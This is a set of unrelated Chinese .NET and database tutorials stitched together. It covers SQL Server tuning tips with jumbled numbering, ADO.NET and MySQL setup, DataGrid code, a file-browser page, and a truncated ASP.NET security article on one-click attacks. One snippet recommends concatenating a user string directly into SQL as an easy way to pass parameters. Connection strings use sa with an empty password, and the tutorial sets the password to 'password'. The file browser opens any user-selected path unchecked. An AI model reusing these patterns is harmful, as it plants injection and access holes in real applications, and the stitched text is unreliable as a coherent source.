SERVER对复杂的数学计算不支持,所以不得不将这个工作放在其他的层上而增加网络的开销。SQL2000支持UDFs,现在支持复杂的数学计算,函数的返回值不要太大,这样的开销很大。用户自定义函数象光标一样执行的消耗大量的资源,如果返回大的结果采用存储过程45、不要在一句话里再三的使用相同的函数,浪费资源,将结果放在变量里再调用更快46、SELECT COUNT(*)的效率教低,尽量变通他的写法,而EXISTS快.同时请注意区别:select count(Field of null) from Table 和 select count(Field of NOT null) from Table的返回值是不同的!!!47、当服务器的内存够多时,配制线程数量 = 最大连接数+5,这样能发挥最大的效率;否则使用 配制线程数量<最大连接数启用SQL SERVER的线程池来解决,如果还是数量 = 最大连接数+5,严重的损害服务器的性能。48、按照一定的次序来访问你的表。如果你先锁住表A,再锁住表B,那么在所有的存储过程中都要按照这个顺序来锁定它们。如果你(不经意的)某个存储过程中先锁定表B,再锁定表A,这可能就会导致一个死锁。如果锁定顺序没有被预先详细的设计好,死锁很难被发现 49、通过SQL Server Performance Monitor监视相应硬件的负载Memory: Page Faults / sec计数器如果该值偶尔走高,表明当时有线程竞争内存。如果持续很高,则内存可能是瓶颈。Process:1、 % DPC Time 指在范例间隔期间处理器用在缓延程序调用(DPC)接收和提供服务的百分比。(DPC 正在运行的为比标准间隔优先权低的间隔)。 由于 DPC 是以特权模式执行的,DPC 时间的百分比为特权时间百分比的一部分。这些时间单独计算并且不属于间隔计算总数的一部 分。这个总数显示了作为实例时间百分比的平均忙时。2、%Processor Time计数器如果该参数值持续超过95%,表明瓶颈是CPU。可以考虑增加一个处理器或换一个更快的处理器。3、 % Privileged Time 指非闲置处理器时间用于特权模式的百分比。(特权模式是为操作系统组件和操纵硬件驱动程序而设计的一种处理模式。它允许直接访问硬件和所有内存。另一种模式为用户模式,它是一种为应用程序、环境分系统和整数分系统设计的一种有限处理模式。操作系统将应用程序线程转换成特权模式以访问操作系统服务)。特权时间的 % 包括为间断和 DPC 提供服务的时间。特权时间比率高可能是由于失败设备产生的大数量的间隔而引起的。这个计数器将平均忙时作为样本时间的一部分显示。4、% User Time表示耗费CPU的数据库操作,如排序,执行aggregate functions等。如果该值很高,可考虑增加索引,尽量使用简单的表联接,水平分割大表格等方法来降低该值。 Physical Disk: Curretn Disk Queue Length计数器该值应不超过磁盘数的1.5~2倍。要提高性能,可增加磁盘。SQLServer:Cache Hit Ratio计数器该值越高越好。如果持续低于80%,应考虑增加内存。 注意该参数值是从SQL Server启动后,就一直累加记数,所以运行经过一段时间后,该值将不能反映系统当前值。40、分析select emp_name form employee where salary > 3000 在此语句中若salary是Float类型的,则优化器对其进行优化为Convert(float,3000),因为3000是个整数,我们应在编程时使用3000.0而不要等运行时让DBMS进行转化。同样字符和整型数据的转换。41、查询的关联同写的顺序select a.personMemberID, * from chineseresume a,personmember b where personMemberID = b.referenceid and a.personMemberID = 'JCNPRH39681'(A = B ,B = ‘号码’)select a.personMemberID, * from chineseresume a,personmember b where a.personMemberID = b.referenceid and a.personMemberID = 'JCNPRH39681'and b.referenceid = 'JCNPRH39681'(A = B ,B = ‘号码’, A = ‘号码’)select a.personMemberID, * from chineseresume a,personmember b where b.referenceid = 'JCNPRH39681' and a.personMemberID = 'JCNPRH39681'(B = ‘号码’, A = ‘号码’) 42、(1) IF 没有输入负责人代码 THENcode1=0code2=9999ELSEcode1=code2=负责人代码END IF执行SQL语句为:SELECT 负责人名 FROM P2000 WHERE 负责人代码>=:code1 AND负责人代码 <=:code2(2) IF 没有输入负责人代码 THENSELECT 负责人名 FROM P2000ELSEcode= 负责人代码SELECT 负责人代码 FROM P2000 WHERE 负责人代码=:codeEND IF第一种方法只用了一条SQL语句,第二种方法用了两条SQL语句。在没有输入负责人代码时,第二种方法显然比第一种方法执行效率高,因为它没有限制条件;在输入了负责人代码时,第二种方法仍然比第一种方法效率高,不仅是少了一个限制条件,还因相等运算是最快的查询运算。我们写程序不要怕麻烦 43、关于JOBCN现在查询分页的新方法(如下),用性能优化器分析性能的瓶颈,如果在I/O或者网络的速度上,如下的方法优化切实有效,如果在CPU或者内存上,用现在的方法更好。请区分如下的方法,说明索引越小越好。beginDECLARE @local_variable table (FID int identity(1,1),ReferenceID varchar(20))insert into @local_variable (ReferenceID) select top 100000 ReferenceID from chineseresume order by ReferenceIDselect * from @local_variable where Fid > 40 and fid <= 60end和beginDECLARE @local_variable table (FID int identity(1,1),ReferenceID varchar(20))insert into @local_variable (ReferenceID) select top 100000 ReferenceID from chineseresume order by updatedateselect * from @local_variable where Fid > 40 and fid <= 60end的不同 begincreate table #temp (FID int identity(1,1),ReferenceID varchar(20))insert into #temp (ReferenceID) select top 100000 ReferenceID from chineseresume order by updatedateselect * from #temp where Fid > 40 and fid <= 60drop table #tempend
1.给数据库语句参数传递 向数据库操作语句传递参数可以通过存储过程实现,这里给出另外两种简便易捷的方法: 可以在C#中通过字符串操作将参数直接传入SQL语句变量中,例如: strings="Davolio"; stringsql="select*fromemployeeswhereLastName="+"'"+s+"'" 相当于写入SQL语句: select*fromemployeeswhereLastName='Davolio'也可以通过thisCommand.Parameters.Add()方法实现,如下所示: strings="Davolio"; SqlConnectionthisConnection=newSqlConnection ("DataSource=(local);InitialCatalog=Northwind;UID=sa;PWD="); thisConnection.Open(); SqlCommandthisCommand=thisConnection.CreateCommand(); thisCommand.CommandText= "select*fromemployeeswhere thisCommand.Parameters.Add("@charname",s); 可以看到,字符串s将参数“Ddbolio”传递给数据库操作语句中的参数charname。 2.将数据库中不同表内的数据读入到数据集DataSet中 SqlDataAdapter的Fill方法可以填充已知数据集,并且为每个填充项创建一个临时表,可以通过对该表的访问来读取数据集中的相关数据。其相关操作如下所示: SqlConnectionthisConnection=newSqlConnection ("DataSource=(local);InitialCatalog=Northwind;UID=sa;PWD="); try { thisConnection.Open(); } catch(Exceptionex) { thisConnection.Close(); } stringsql1="select*fromemployees"; stringsql2="select*fromCustomers"; SqlDataAdaptersda=newSqlDataAdapter(sql1,thisConnection); DataSetds=newDataSet(); sda.Fill(ds,"myemployees"); sda.Dispose(); SqlDataAdaptersda1=newSqlDataAdapter(sql2,thisConnection); sda1.Fill(ds,"myCustomers"); sda1.Dispose(); stringt1=ds.Tables["myemployees"].Rows[0]["Hiredate"].ToString(); stringt2=ds.Tables["myCustomers"].Rows[0]["ContactTitle"].ToString(); Page.RegisterStartupScript("aa","<scriptlanguage=javascript>alert('t1="+t1+",t2="+t2+"');</script>"); 可以看到,在数据集ds中新生成了两个临时表“myemployees”和“myCustomers”。为验证这两个表中数据确实已读入数据集ds中,通过数据读取操作将表“myemployees”中对应于属性“Hiredate”的第一行赋值给字符型变量t1,将表“myCustomers”中对应于属性“ContactTitle”的第一行赋值给字符型变量t2,并通过JavaStript函数“alert()”将这些变量显示到弹出窗口中。Page.RegisterStartupScript方法用于发出客户端脚本块,其第一个参数为标志位,用户可以任意选取,第二个参数为JavaScript脚本,这里alert函数用来弹出MessageBox对话框,我们将参数t1和t2传入该脚本中,使其在MessageBox中显示出来。 ps:由于网络速度太慢,不能将相关的显示图表传到服务器,真一大遗憾。还有不知道编写代码的样式和格式,使得给出的代码显得很零乱。
在ASP时代,如果我们要建立一个数据库驱动的web站点,那么你可以选择环很多钱的微软SQLSERVER数据库或者选择要花很多时间来寻找达到性能和稳定性统一的ACCESS数据库,但在.NET时代你有另一种选择,那就是:MySQL数据库 什么是MySQL数据库? MySQL数据库是一种开放源代码的数据库,通过获得授权来保持源代码的官方支持,同时可以自由修改源代码,目前许多公司和组织都采用了这种数据库。对此详细信息您可以访问MySQL的官方站点。 第一步下载和安装 与大多数软件一样,首先是得到并安装mysql数据库软件,获得Mysql数据库的方很简单,在MySQLServer安装 MySQLServer安装 MySQLServer安装 MySQLServer安装 如图所示,在安装完成的最后一步,系统会问你是否要配置MySQL服务器,如果选择现在配置MySQL服务器,那么系统将自动运行MySQL实例配置向导,于是你将进入下一步。第二步配置 MySQL服务器实例配置向导使配置服务器变得非常简单,按照配置向导一步一步的走,绝大多数时候都选择缺省配置。 MySQL服务器配置向导 MySQL服务器配置向导 如上图,读者可以自行选择是安装在专用的数据库服务器上或是共享的服务器,由于我使用的笔记本电脑,所以我选择是最简单的"DeveloperMachine",这个设置不能提供同样的性能,而且也不能使用很多系统资源 MySQL服务器配置向导—选择数据库的用途 MySQL服务器配置向导—指定TCP/IP和端口号 必须确保响应TCP/IP网络协议,以保证Web页载需要的时候Web服务器能连接数据库;如果你的数据库和web服务器安装在同一台服务器上,那么可以禁用这个选项以防止来自网络的访问。MySQL服务器配置向导—设置默认字符串类型 MySQL服务器配置向导 MySQL服务器配置向导—安装服务 MySQL服务器配置向导—设置SQL连接密码 MySQL服务器配置向导—即将完成配置 第三步MySQLAdministrator 也许你认为可以不需要这个东西,但我还是要建议你下载并使用MySQLAdministrator,它提供图形界面以帮助你管理MySQL数据库,Windows用户可以通过命令提示行运行MySQLAdministrator,在余下时间里我假定你已经安装了MySQLAdministrator,并且将使用相关图例。 MySQLAdministrator主界面 第四步 创建数据库 要创建数据库,我们必须首先连接服务器。运行MySQLAdministrator并登陆服务器。 运行MySQLAdministrator并登陆服务器 选择MySQLAdministrator左侧底部的"Catalogs",然后在管理器的右侧会出现目前服务器上已经有的数据库目录,右击Schema窗口的"mysql",选择"CreateNewSchema"。 创建一个新的数据库 系统将提示你输入数据库的名称,这里我们使用"mydatabase",在本文以后也将使用这个名称。 输入数据库名称 一旦创建后,新数据库就将与服务器中的其他数据库一起出现在Schema窗口,选择它后,在右侧窗口将出现它的详细资料。 完成新数据库的创建: 新的数据库创建完成了 现在这里面还没有更多的东西,因为目前数据库还是空的。下面我们就为数据库添加点东西。 第五步 创建表 创建表很简单,只需要点击"CreateTable"按钮,于是将出现下面的对话框: 创建表 如图所示,我们已经给表取名为"mytable",有四个域,其中id域为自动增量的主键、一个整数域、一个文本域和一个时间/日期域。 在完成这些后,点击"ApplyChanges"按钮,将出现如下图的窗口,窗口中的是创建表的SQL语句,同时询问是否执行,当然点击"Execute"。 确认并执行表中的SQL语句 到目前为止,我们已经创建了一个包含名为"mytable"的表的名为"mydatabase"的数据库,下面我们要做的就是为数据库添加点数据。 第六步 添加数据 在真实情况中,添加数据是通过应用程序来实现的,但现在仅仅是要添加几个样本数据,所以我将在MySQL客户端命令中使用SQL语句的insert语句来实现,如果现在你还在MySQLAdministrator中,那么可以通过菜单"tools"来访问命令行(Tools->MySQLCommandLineClient),否则可以通过开始菜单的MySQL组来访问。 通过命令行语句来实现添加数据 图中的第一行是告诉服务器我将使用那个数据库,第二和第三仅仅是简单的向数据库插入数据。 现在数据表中有两个样本数据,到目前为止,我们的数据库服务器已经建立并运行了,里面有一个数据库,一个数据表,一些数据。 第七步 创建新的MySQL用户账号 要添加用户账号需要再一次运行并登陆MySQLAdministrator,在MySQLAdministrator窗口的左边选择"UserAdministration",同时右边将显示服务器现行账号的信息(这里通常是所谓的root),右击下面小窗口里的账号,选择"AddnewUser"。 再次运行MySQLAdministrator,并添加一个用户帐号 接下来系统将提示你输入新用户的详细信息,我给新用户取名为"15secs",口令设置为"password". 设置用户名、密码等常规选项 完成这些后,点击"ApplyChanges"按钮以保存输入。 第八步 给用户账号授权 缺省状况下的新用户几乎什么都做不了,要允许新用户连接MySQL数据库必须在"SchemaPrivileges"中进行授权,这一切将在MySQLAdministrator.中的"SchemaPrivileges"中完成。 为新开帐号设置权限 注意上图还没有为用户进行任何授权,由于后面的代码需要查询数据库,故需要授予用户"select"权限,然后点击"ApplyChanges"按钮保存。 进行授权: 进行授权 也许应用程序需要更多的权限,如:"INSERT","UPDATE",和"DELETE"等等,你可以用同样的方法授予给用户,但要注意的是,权限越多安全越小,你必须对每个用户都实行控制。 第九步ASP.NET页连接数据库服务器 在.NET中连接MySQL数据库有两种方法:MySQLConnector/ODBC和MySQLConnector/Net,ODBC连接器是符合ODBC标准的交互平台,是.NET访问MySQL数据库的最好的选择。 下载MySQLConnector/Net,然后直接安装,如下图: MySQLConnector/Net安装图 MySQLConnector/Net安装图 MySQLConnector/Net安装图 MySQLConnector/Net安装图 注意:我选择了registerConnector/NETintheGlobalAssemblyCache,但我发现它已经被安装了,但我不能使用import语句,找不到Connector/NET的名称空间,直到将MySql.Data.dll文件拷贝到/bin目录下后才解决这个问题,系统报出的错误是: BC30466:NamespaceortypespecifiedintheImports'MySql.Data.MySqlClient'cannotbefound 我相信这个问题依然存在,只能暂时用手工将文件从安装位置拷贝到相应的目录中,如:C:/ProgramFiles/MySQL/MySQLConnectorNet1.0.4/bin/.NET1.1/,拷贝到C:/Inetpub/wwwroot/bin/,就可以解决这个问题。 第十步示例程序 至此我们的数据库终于完成,MySQLConnector/Net也安装成功,我们该做点其他什么事情了。下面我将提供一段简单的脚本,在这段脚本中,我们将连接和查询数据库中的数据,输入数据不是脚本的要点。MySQL.aspx <%@PageLanguage="VB"debug="true"%><%@ImportNamespace="System.Data"%><%@ImportNamespace="MySql.Data.MySqlClient"%><scriptlanguage="VB"runat="server"> SubPage_Load(senderAsObject,eAsEventArgs) DimmyConnectionAsMySqlConnection DimmyDataAdapterAsMySqlDataAdapter DimmyDataSetAsDataSet DimstrSQLAsString DimiRecordCountAsInteger myConnection=NewMySqlConnection("server=localhost;userid=15secs;password=password;database=mydatabase;pooling=false;") strSQL="SELECT*FROMmytable;" myDataAdapter=NewMySqlDataAdapter(strSQL,myConnection) myDataSet=NewDataset() myDataAdapter.Fill(myDataSet,"mytable") MySQLDataGrid.DataSource=myDataSet MySQLDataGrid.DataBind() EndSub </script> <html> <head><title>SimpleMySQLDatabaseQuery</title> </head><body> <formrunat="server"><asp:DataGridid="MySQLDataGrid"runat="server"/> </form></body></html> 在上面的脚本中黑体字部分将随你采用的平台不同而进行修改,如采用SQLServer应用System.Data.SQLClient来替换MySql.Data.MySqlClient,这只是一点,更详细的本文就不讨论了。下图是脚本运行结果: 脚本运行结果结论: 我希望本文能对读者理解数据库服务器有所帮助,当你打算从access或SQLServer上升级的时候,MySQL是一个不错的选择,尽管它是开放源代码的,而且还有些缺陷,但它与.NET的结合能做许多工作,另外MySQLAdministrator使管理数据库服务器不再是管理员的噩梦。
当把DataSet绑定到Datagrid控件, 并利用DataAdapter对象修改数据库 如:dimadpasnewOleDbDataAdapter(stradp,conn)dimocbasnewOleDbCommandBuilder(adp)adp.DeleteCommand=ocb.GetDeleteCommand()adp.Update(ds,"Orders")-------------------------------- 执行删除操作时,如我们加入这样一个方法:submydatagrid_delete(senderasobject,easdatagridcommandeventargs)dimdtasnewDataTable()dt=ds.Tables("Orders")dimdrasDataRowdr=dt.Rows(E.Item.ItemIndex)dr.delete'dr.AcceptChanges'曾经尝试使用彻底删除,发现adp自动更新回数据库时,无法自动生成相应的sql语句 '解决删除当前页最后一项时出现的页索引异常'*****************************************************************dimlastEditPageasinteger=mydatagrid.currentPageIndexIf(mydatagrid.pageCount-mydatagrid.currentPageIndex)=1andmydatagrid.Items.Count=1ThenIfmydatagrid.pageCount>1ThenlastEditPage=LastEditPage-1ElselastEditPage=0EndIf EndIfmydatagrid.currentPageIndex=lastEditPage'**************************************************************** session("orderList")=dsmydatagrid.edititemindex=-1mydatagrid.datasource=ds.tables("Orders")mydatagrid.databind()endsub 当由第一个开始逐个删除时出现了异常,发现在删除第二时,删不掉,即原来的dr(2)没有自动变为dr(1)。如果我们使用dr.deletedr.acceptChanges则可以自动变化,但是上面说明了,则无法使用自动更新回到数据库。我们必须获得删除时的实际索引,所以就用了一个本方法,在当前的ds中另外建了一个Table,保持同步删除,但是在Table的id列中,保存实际的索引值,具体代码如下: 解决dr索引的一个办法: dimorderTableasnewDataTable()'建一个临时表用来保存索引,保持同步删除dimtheNewRowasDataRowdimdcasDataColumn orderTable.TableName="orderId"ds.Tables.add(orderTable)dc=newDataColumn()dc.ColumnName="id"orderTable.columns.add(dc) dimdcKey()asDataColumn={orderTable.Columns("id")}orderTable.primaryKey=dcKey dimiasintegerFori=0to(ds.Tables("Users").Rows.Count-1)theNewRow=orderTable.NewRow()theNewRow("id")=i.toString()orderTable.Rows.add(theNewRow)Next 上述删除功能中加的代码,替换dr=dt.Rows(e.Item.ItemIndex): dimdrOrderasDataRowdrOrder=ds.Tables("orderId").Rows(E.Item.ItemIndex)dimcurrentOrderasinteger=CInt(drOrder("id"))+mydatagrid.currentPageIndex*mydatagrid.PageSizedr=dt.Rows(currentOrder)drOrder.delete 如果有更新功能,则替换dr=dt.Rows(e.Item.ItemIndex): dimdrOrderasDataRowdrOrder=ds.Tables("orderId").Rows(E.Item.ItemIndex)dimcurrentOrderasinteger=CInt(drOrder("id"))+mydatagrid.currentPageIndex*mydatagrid.PageSizedr=dt.Rows(currentOrder)
这篇文章将建立一列包含CheckBox控件的DataGrid,这个控件允许用户对明细浏览进行多列选择。如果没有恢复对于动态SQL获得该功能的一种方法,那么必须使用IN操作。 在文章的结尾,我们写了一个SQLServer用户自定义函数(UDF),为了将一个字符串分解成带分隔符的子字符串。在这篇文章中,我们能看到这样一个UDF如何派得上用场。我们将建立一个web表单,在此用户可以通过选择checkbox控件而选择一些在DataGrid中的记录。对这些被检查的记录的明细将会出现在表单中的另一个DataGrid中。这个表单像来如图所示。 在下面显示了我们用来建立表单的ASPX。注意:如何使用TemplateColumn和Checkbox控件增加DataGrid列。我们也使用DataGrid的DataKeyField属性来告诉对象,在数据库记录的哪一个字段将会包含第一行的关键字标示符。 <formid="Form1"method="post"runat="server"><asp:DataGridid="DataGrid1"runat="server" AutoGenerateColumns="False"DataKeyField="EmployeeID"> <Columns><asp:TemplateColumn> <ItemTemplate><asp:CheckBoxrunat="server"ID="EmployeeCheckBox"/> </ItemTemplate></asp:TemplateColumn> <asp:TemplateColumn><ItemTemplate> <%#DataBinder.Eval(Container.DataItem,"LastName")%>, <%#DataBinder.Eval(Container.DataItem,"FirstName")%></ItemTemplate> </asp:TemplateColumn></Columns></asp:DataGrid> <hr> <asp:Buttonid="Orders"runat="server"Text="ViewOrders"></asp:Button><hr><asp:DataGridID="DataGrid2"Runat="server"AutoGenerateColumns="True"/></form> 当表单加载初始化时,需要组装顶端的DataGrid。代码使用EnterpriseLibrary来存取SQLSeverNorthwind例子数据库并且执行“SELECTEmployeeID,FirstName,LastNameFROMEmployees”这一语句。加载事件的代码如下: privatevoidPage_Load(objectsender,System.EventArgse){ if(!Page.IsPostBack) {Databasedb=DatabaseFactory.CreateDatabase();DBCommandWrapperdbCommandWrapper; using(dbCommandWrapper=db.GetSqlStringCommandWrapper(SELECT_EMPLOYEES)){ using(IDataReaderdataReader=db.ExecuteReader(dbCommandWrapper)) {DataGrid1.DataSource=dataReader;DataGrid1.DataBind(); }} }} 当用户单击“Orders”按钮时,我们想显示与数据库中的那些与Employees相配并与Orders数据相关的第二个数据表格。这样做的一种方法是建立动态的SQL并且使用所有EmployeeIDs所需的WHERE语句的OR条件。 第二个方法是使用WHERE语句的IN操作。IN操作将会一列表达式进行比较。例如,下列语句返回employee中IDS7和4之间的信息。 SELECTEmployeeID,FirstName,LastNameFROMEmployeesWHEREEmployeeIDIN(7,4) 在观念上说,我愿意使用一个单一字符串参数来查询所传递的IDs,然而,也许作为一个单字符串,不能对IN操作使用一个单一字符串参数。如果那样,SQL语句会这样“WHEREEmployeeIN(‘7,4’)”,并且数据库因为EmployeeID属于类型int—不属于varchar类型而返回一个错误消息。 不过,我们使用文章中构造的split函数将字符串分离成不同的值。向split函数传递字符串‘7,4’,并且我们会得到与值4和7相对应的两条记录。选择employees并且计算它们的定单总数的SQL查询,将会如下: SELECTcount(*)ASOrders,E.FirstName,E.LastName FROMOrdersO INNERJOINEmployeesEONO.EmployeeID=E.EmployeeID WHEREE.EmployeeIDIN(SELECTValueFROMfn_Split(@employeeIDs,',')) GROUPBYFirstName,LastName ORDERBYcount(*)DESC 使用以上查询所需要的是必须建立和传递@employeeIDs参数。这个参数将是用逗号隔开的IDs列表。为了建立该字符串,为了弄明白行是否被用户选择,我们需要使用一个循环,这一循环以行数循环次数,并且检查每一个checkbox控件。如果用户选择了行,通过从表的DataKeys属性中(它被建立在ASPX文件中来指向EmployeeID字段)提取检验人,将关键字保存在employee中。 privatestringGetCheckedEmployeeIDs(){ Stringdelimiter=String.Empty; StringBuilderemployeeIDs=newStringBuilder(); for(inti=0;i<DataGrid1.Items.Count;i++) {CheckBoxcheckbox;checkbox=DataGrid1.Items[i].FindControl("EmployeeCheckBox")asCheckBox;if(checkbox!=null&&checkbox.Checked==true){ employeeIDs.Append(delimiter+DataGrid1.DataKeys[i].ToString()); delimiter=",";} } returnemployeeIDs.ToString();} 以上方法返回一个字符串,像“10,7,20”。对Orders按钮单击事件处理器将涉及这样一个方法,将信息传递至SQL以得到employees和orders的列表,并且将其结果绑定在第二个DataGrid对象中。 privatevoidOrders_Click(objectsender,System.EventArgse){ stringemployeeIDs=GetCheckedEmployeeIDs(); Databasedb=DatabaseFactory.CreateDatabase(); DBCommandWrapperdbCommandWrapper; using(dbCommandWrapper=db.GetSqlStringCommandWrapper(SELECT_ORDERS)) {dbCommandWrapper.AddInParameter("@employeeIDs",DbType.String,employeeIDs);using(IDataReaderdataReader=db.ExecuteReader(dbCommandWrapper)){ DataGrid2.DataSource=dataReader; DataGrid2.DataBind();} }}
在介绍“网络硬盘”概念时已经提到,每个用户在“网络硬盘”上都有自己的一块空间。在下面程序设计中是这样处理的:为用户提供一个固定的文件夹,在这个文件夹下用户可以自己增加/删除新的文件夹或文件。如图1所示,首次打开网页时将列出该文件夹下的所有内容(包括文件和文件夹)。如果想进入下一级文件夹,可以选中该文件夹,单击“打开”按钮进入。下面将就查看文件夹内容功能的实现分步骤进行说明。 图1用户主界面1.页面加载 由于程序所提供的用户目录是固定的,如c:/UserDir,而且要求在页面加载后显示该文件夹所有内容,所以需要在Page_Load中进行相应操作:首先要判断该文件夹是否存在,如果不存在需要先创建它;然后再列出该文件夹下的内容,其代码实现如下: privatevoidPage_Load(objectsender,System.EventArgse){ //在此处放置用户代码以初始化页面 if(Page.IsPostBack==false) {CurrentPath=@"c:/UserDir/";//设置当前目录if(Directory.Exists(@"c:/UserDir/")==false)//若该目录不存在,创建该目录 Directory.CreateDirectory(@"c:/UserDir/"); LoadDir(CurrentPath);//初始化装入目录 }} LoadDir(stringFullPath)方法用来列出该文件夹下的所有内容,其代码如下: privatevoidLoadDir(stringFullPath){ CurrentPath=FullPath; ArrayListvalues=newArrayList(); string[]MyFiles,MyDirs; MyFiles=Directory.GetFiles(FullPath);//得到该目录下所有文件 if(CurrentPath!=@"c:/UserDir")//若不是顶级目录,增加“返回上级目录”选项{values.Add("返回上级目录"); } values.AddRange(MyFiles);//加入文件 MyDirs=Directory.GetDirectories(FullPath);//得到该目录下所有目录 values.AddRange(MyDirs);//加入目录 FileList.DataSource=values;//设置数据源 FileList.DataBind();//绑定数据} 首先要定义一个ArrayList数组对象values,用以存放顶级目录下的所有内容(包括文件夹名和文件名)。Directory.GetFiles()方法返回顶级目录下的所有文件名,其返回类型为一个string数组,故需要定义一个string类对象MyFiles来保存返回的文件名;Directory.GetDirectories()返回顶级目录下的所有文件夹名称,同样定义一个string数组对象MyDirs来保存它们。完成这些后就可以把MyFiles和MyDirs数组添加进values对象了。最后要做的只是为ListBox控件对象FileList添加数据源和绑定数据。有一点需要说明:如果当前目录不是顶级目录,则需要能返回到上级目录,为此需要在FileList中添加“返回上级目录”选项。 2.多级目录查看 通过上一部分列出的两段代码,就可以完成在页面加载时列出顶级目录下的所有内容。当然列出顶级目录下的内容还是不够的,和Windows操作系统类似,网络硬盘中文件夹目录也是嵌套的,存在二级或者多级文件夹目录。为此要进行一些相应的处理,使得用户可以查看多级文件夹目录内容。前面界面设计中提供了一个“打开”按钮,用户选择相应的文件夹后,单击该按钮就可以查看该文件夹下的内容。 下面就为“打开”按钮添加代码。在“设计”面板中双击该按钮,系统就会自动为其添加事件,其代码内容如下: privatevoidbtnOpen_Click(objectsender,System.EventArgse){ if(FileList.SelectedItem.Text=="返回上级目录")//返回上级目录 {stringParentPath=Directory.GetParent(CurrentPath).ToString();LoadDir(ParentPath);return; } else//打开目录 {LoadDir(FileList.SelectedItem.Text); }}程序首先判断用户选中的是不是“返回上级目录”。如果是的话,则要先通过Directory.GetParent()方法返回上级文件夹名称,然后再调用LoadDir()方法来显示该目录下的内容;如果用户选中的不是“返回上级目录”而是一个文件夹名称,则可以直接调用LoadDir()方法,FileList.SelectedItem.Text为选中的文件夹名,用来作为LoadDir()方法的参数。
ASP.NET开发人员应当始终坚持的做法 如果您正在阅读本文,可能就不需要再向您灌输Web应用程序中的安全性愈来愈重要这一事实了。您需要的可能是一些有关如何在ASP.NET应用程序中实现安全性的实际建议。坏消息是,没有任何开发平台—包括ASP.NET在内—能够保证一旦采用了该平台,您就能够编写百分百安全的代码。谁要是这么说,一准在撒谎。好消息是,就ASP.NET来说,ASP.NET,特别是版本1.1和即将发行的版本2.0,集成了一些便于使用的内置防御屏障。 光是应用所有这些功能并不足以保护Web应用程序,使其免受任何可能和可预见的攻击。但是,如果与其他防御技巧和安全策略相结合,内置的ASP.NET功能将可以构成一个强大的工具包,有助于确保应用程序在安全的环境中运行。 Web安全性是各种因素的总和,是一种范围远超单个应用程序的策略的结果,这种策略涉及数据库管理、网路配置,以及社会工程和phishing。 本文的目的在于说明ASP.NET开发人员为了将安全标准保持到合理的高度,所应始终坚持的做法。这也就是安全性最主要的内容:保持警惕,永不完全放松,让坏人越来越难以发起黑客攻击。 下面我们来看看ASP.NET提供了哪些可以简化这项工作的功能。 攻击的可能发起人 回显到页的不可信用户输入 SQL注入 串连用户输入以形成SQL命令 会话劫持 会话ID猜测和失窃的会话IDCookie 一次单击 通过脚本发送的未被察觉的HTTP张贴 隐藏域篡改 未检查(且受信)的隐藏域被填充以敏感数据 表1.常见的Web攻击 列表中显现出来的关键性事实有哪些?在我看来,起码有以下三点: 无论您何时将何种用户输入插入浏览器的标记中,您都潜在地将自己暴露在了代码注入攻击(任何SQL注入和XSS变种)之下。 必须以安全的方式实现数据库访问,就是说,应当为数据库使用尽可能少的权限,并通过角色来划分各个用户的职责。 永远都不通过网络发送敏感数据(更别说是明文了),并且必须以安全的方式将敏感数据存储在服务器上。 有意思的是,上面的三点分别针对的是Web安全性的三个不同方面,而这三个方面结合起来,才是唯一的一种生成防攻击、防篡改应用程序的合理方式。Web安全性的各个层面可以总结如下: 编码实践:数据验证、类型和缓冲区长度检查,防篡改措施 数据访问策略:使用决策来保护可能最弱的帐户,使用存储过程或者至少是参数化的命令。 有效的存储和管理:不将关键性数据发送到客户端,使用哈希代码来检测操作,对用户进行身份验证并保护标识,应用严格的密码策略 如您所看到的,只有可以通过开发人员、架构师和管理员的共同努力,才可以产生安全的应用程序。请不要假定您能够以其他方式达到同样目的。 编写ASP.NET应用程序时,您并不是独自面对黑客大军:唯一的武器是通过自己的大脑、技能和手指键入的代码行。ASP.NET1.1和更高版本都会施加援手,它们具有一些特定的功能,可以自动提高防御以上列出的某些威胁的屏障。下面我们对它们进行详细的检视。ViewStateUserKey 从ASP.NET1.1开始引入,ViewStateUserKey是Page类的一个字符串属性,只有很少数开发人员真正熟悉该属性。为什么呢?让我们看看文档中是怎么说的。 在与当前页相关联的视图状态变量中将一个标识符分配给单个用户 除了有些累赘,这个句子的意思相当清楚;但是,您能老老实实地告诉我,它说明了该属性原本的用途吗?要理解ViewStateUserKey的角色,您需要继续往下读,直到Remarks部分。 该属性有助于防止一次单击攻击,因为它提供了附加的输入以创建防止视图状态被篡改的哈希值。换句话说,ViewStateUserKey使得黑客使用客户端视图状态的内容来准备针对站点的恶意张贴困难了许多。可以为该属性分配任何非空的字符串,但最好是会话ID或用户的ID。为了更好地理解这个属性的重要性,下面我们简短介绍一下一次单击攻击的基本知识。 一次单击攻击包括将恶意的HTTP表单张贴到已知的、易受攻击的Web站点。之所以称为“一次单击”,是因为它通常是以受害者不经意的单击通过电子邮件发送的或者在拥挤的论坛中浏览时发现的诱惑性链接而开始的。通过点击该链接,用户无意中触发了一个远程进程,最终导致将恶意的<form>提交到一个站点。大家都坦白些吧:您真能告诉我,您从未因为好奇而单击过Clickheretowin$1,000,000这样的链接吗?显然,并没有什么糟糕的事情发生在您身上。让我们假定的确是这样的;您能说Web社区中的所有其他人都幸免于难了吗?谁知道呢。 要想成功,一次单击攻击需要特定的背景条件: 攻击者必须充分了解该有漏洞的站点。这是可能的,因为攻击者可以“勤奋地”研究该文件,或者他/她是一位愤怒的内部人员(例如,被解雇而又不诚实的雇员)。因此,这种攻击的后果可能是极其严重的。 站点必须是使用Cookie(如果是持续性Cookie,效果更好)来实现单次登录,而攻击者曾经收到过有效的身份验证cookie。 该站点的某些用户进行了敏感的事务。 攻击者必须能够访问目标页。 前已提及,攻击包括将恶意的HTTP表单提交到等待表单的页。可以推知,该页将使用张贴来的数据执行某些敏感操作。可想而知,攻击者清楚地了解如何使用各个域,并可以想出一些虚假的值来达到他的目的。这通常是目标特定的攻击,而且由于它所建立的三角关系,很难追本溯源—即黑客诱使受害者单击该黑客站点上的一个链接,而这又会导致恶意代码被张贴到第三个站点。(请参阅图1。) 图1.一次单击攻击 为什么是不抱怀疑的受害者?这是因为,这种情况下,服务器日志中所显示的发出恶意请求的IP地址,是该受害者的IP地址。如前所述,这种工具并不像“经典”的XSS一样常见(和易于发起);但是,它的性质决定了它的后果可能是灾难性。如何应对它?下面,我们审视一下这种攻击在ASP.NET环境下的工作机理。 除非操作编码在Page_Load事件中,否则ASP.NET页根本不可能在回发事件之外执行敏感代码。要使回发事件发生,视图状态域是必需的。请牢记,ASP.NET会检查请求的回发状态,并根据是否存在_VIEWSTATE输入域,相应地设置IsPostBack。因此,无论谁要向ASP.NET页发送虚假请求,都必须提供一个有效的视图状态域。 